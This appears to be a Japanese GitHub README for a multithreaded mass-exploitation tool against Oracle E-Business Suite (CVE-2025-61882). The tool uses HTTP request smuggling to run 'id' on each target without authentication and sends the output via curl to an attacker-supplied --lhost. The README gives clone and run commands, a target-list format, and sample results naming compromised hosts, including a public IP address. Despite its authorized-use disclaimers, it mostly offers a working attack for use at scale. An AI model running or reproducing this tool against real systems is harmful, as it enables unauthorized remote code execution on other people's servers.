
マルチスレッド対応のCVE-2025-61882スキャナーで、Oracle E-Business Suiteを対象とし、HTTPリクエストスマグリングを悪用して認証なしのリモートコード実行を達成し、コマンド出力で検証します。
Oracle E-Business Suite インストール環境における CVE-2025-61882 を検出するための、高速でマルチスレッド対応の一括スキャナーです。この重大な脆弱性により、認証なしのリモートコード実行が可能になります。
id コマンドを実行し、出力を解析して RCE を検証vuln-output.txt に書き込まれますpip install requests
これだけです。Python 3.7+ と requests ライブラリのみ必要です。
git clone https://github.com/Sachinart/CVE-2025-61882.git
cd CVE-2025-61882
pip install -r requirements.txt
python3 cve-2025-61882.py --targets targets.txt --lhost YOUR_VPS_IP
python3 cve-2025-61882.py --targets targets.txt --lhost YOUR_VPS_IP --threads 50
python3 cve-2025-61882.py --targets targets.txt --lhost YOUR_VPS_IP --threads 10
1行に1つのURLを記載した targets.txt ファイルを作成します:
http://oracle-ebs1.example.com:8000
https://oracle-ebs2.example.com:443
http://192.168.1.100:8001
https://apps.company.com
╔═══════════════════════════════════════════════════════════════╗
║ Oracle E-Business Suite RCE Scanner (CVE-2025-61882) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Loaded 1235 targets from file
[*] Running with 20 concurrent threads
[*] Vulnerable hosts will be saved to vuln-output.txt
[*] [1/1235] Checking https://target1.com:443 on port 7893
[*] [2/1235] Checking https://target2.com:443 on port 5882
[+] Got one! 129.146.56.43 is vulnerable
[+] Command output: uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
=================================================================
[*] Scan finished in 245.67 seconds
[*] Found 3 vulnerable target(s)
[*] Check vuln-output.txt for full results
=================================================================
[+] Vulnerable targets found:
129.146.56.43 → uid=54321(oracle) gid=54321(oinstall)
192.168.1.50 → uid=1000(applmgr) gid=1000(dba)
10.0.0.100 → uid=500(oracle) gid=500(oinstall)
結果は vuln-output.txt に保存されます:
# Oracle EBS CVE-2025-61882 - Scan Results
# Started: Tue Oct 07 15:30:45 2025
# Total targets: 1235
# Scanner by: Chirag Artani
129.146.56.43 | uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
192.168.1.50 | uid=1000(applmgr) gid=1000(dba) groups=1000(dba)
10.0.0.100 | uid=500(oracle) gid=500(oinstall) groups=500(oinstall)
id コマンドを実行し、curl 経由で出力を送信uid=...gid=... パターンを確認して RCE の成功を検証このツールは許可されたセキュリティテスト専用です。常に:
コンピュータシステムへの不正アクセスは違法です。
バグを発見しましたか? 機能リクエストがありますか?
git checkout -b feature/amazing-feature)git commit -m 'Add some feature')git push origin feature/amazing-feature)このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。作者は、このツールの誤用または損害について一切の責任を負いません。自己責任で使用してください。
| 引数 | 必須 | デフォルト | 説明 |
|---|
--targets | はい | - | ターゲットURLを含むファイルへのパス |
--lhost | はい | - | あなたの VPS/攻撃者 IP アドレス |
--threads | いいえ | 20 | 同時スレッド数 |